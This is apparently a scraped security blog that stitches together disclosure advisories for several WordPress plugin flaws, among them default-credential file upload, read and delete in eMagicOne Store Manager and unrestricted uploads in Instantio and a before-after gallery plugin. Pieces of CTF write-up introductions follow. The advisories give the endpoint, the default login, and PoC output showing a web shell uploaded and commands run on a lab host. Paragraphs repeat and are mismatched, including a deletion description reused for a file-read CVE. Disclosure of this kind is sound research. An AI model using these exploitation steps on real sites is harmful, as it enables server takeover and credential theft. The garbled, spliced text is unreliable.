The eMagicOne Store Manager for WooCommerce plugin exposes a remote management protocol endpoint (?connector=bridge) that allows file uploads to the server. The authentication mechanism relies on a default credential pair (login=1, password=1) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and upload arbitrary files (including PHP shells) to the WordPress root or any writable directory via the set_image task.
The eMagicOne Store Manager for WooCommerce plugin exposes a remote management protocol endpoint (?connector=bridge) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (login=1, password=1) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and delete arbitrary files from the WordPress root or any accessible directory.
Reproduction
A POC CVE-2025-4603.py is provided to demonstrate an attacker deleting wp-config.php.
The eMagicOne Store Manager for WooCommerce plugin exposes a remote management protocol endpoint (?connector=bridge) that allows file deletion operations on the server. The authentication mechanism relies on a default credential pair (login=1, password=1) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and read arbitrary files from the WordPress root or any accessible directory.
Reproduction
A POC CVE-2025-4602.py is provided to demonstrate reading the wp-config.php file from the server.
The eMagicOne Store Manager for WooCommerce plugin exposes a remote management protocol endpoint (?connector=bridge) that allows file uploads to the server. The authentication mechanism relies on a default credential pair (login=1, password=1) and a session key system. If the default credentials are not changed, an attacker can trivially authenticate, obtain a session key, and upload arbitrary files (including PHP shells) to the WordPress root or any writable directory.
Reproduction
A POC cve-2025-4336.py is provided to demonstrate a remote attacker uploading a web shell named shell.php via the default authentication mechanism, and executing remote code:
python3 exploit.py https://lab1.hacker
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"6f46bc8b67b1c8f0dc871bcec9e162c1d43f047e5c46aec7d7fdf48d8c17ed69"}
[+] Got session key: 6f46bc8b67b1c8f0dc871bcec9e162c1d43f047e5c46aec7d7fdf48d8c17ed69
[*] Uploading file...
[*] Upload response: {"response_code":20,"message":"File was successfully uploaded"}
[*] Executing Web Shell Commands...
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 23576sec preferred_lft 23576sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86363sec preferred_lft 14363sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:ef:a9:95:6a brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
Vulnerable Flow
Default Credentials and Hash Calculation
On plugin activation, the following constants are set in smconnector.php:
The Instantio plugin does not sanitize the file types in its options save functionality, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.
TL;DR Exploits
A POC CVE-2025-47550.py is provided to demonstrate an administrator uploading a web shell named shell.php.
% python3 CVE-2025-47550.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 33750sec preferred_lft 33750sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86119sec preferred_lft 14119sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
Details
The ins_options_save functionality in /wp-content/plugins/instantio/admin/tf-options/classes/Ins_TF_Settings.php processes file uploads without enforcing proper file type validation.
The Ultimate Before After Image Slider & Gallery plugin does not sanitize the file types of the beaf_options_save action, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.
TL;DR Exploits
A POC CVE-2025-47549.py is provided to demonstrate an administrator uploading a web shell named shell.php.
python3 CVE-2025-47549.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 68200sec preferred_lft 68200sec
inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86113sec preferred_lft 14113sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
Details
The beaf_options_save action calls the beaf_save_options() function on line 227 of /wp-content/plugins/beaf-before-and-after-gallery/admin/tf-options/classes/BEAF_Settings.php without enforcing any file type validation.
The Migration, Backup, Staging – WPvivid Backup & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the upload_files function in all versions up to, and including, 0.9.112. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site’s server which may make remote code execution possible.
NOTE: Uploaded files are only accessible on WordPress instances running on the NGINX web server as the existing .htaccess within the target file upload folder prevents access on Apache servers.
Around the time Def Con was happening this year I was sitting at home feeling left out. That made me feel hacky, but I don’t get the same joy from CTFs at the moment that I used to. So, I decided to start hunting for CVEs. That lead to finding CVE-2024-9162, which was just released today, along with the idea for a larger project that has resulted in a few more vulnerabilities yet to be disclosed.
Armageddon is an Easy level box, and it was about as standard as standard can be. The initial foothold was straight a forward Drupal exploit, and the name of the box is a massive hint (Druppalgeddon2). After gaining the initial foothold, enumerating MySQL and credential stuffing gains us user privileges. All of this is pretty basic. The privilege escalation is achieved through snap, which was interesting to me since I’d never done this before. It was not difficult to identify or exploit though.
Ophiuchi is a Medium box with a weird name to pronounce. The initial foothold was straight forward but fun, the user flag reminds us to go back to the basics, and the root flag is a difficult mind game for those of us that haven’t even been exposed to the technology.
Information Gathering
Port Scan: nmapAutomator
We begin our reconnaissance by running nmapAutomator via sudo ./nmapAutomator.sh 10.10.10.227 All. Among many other things, this runs our port scans with increasing comprehensiveness.
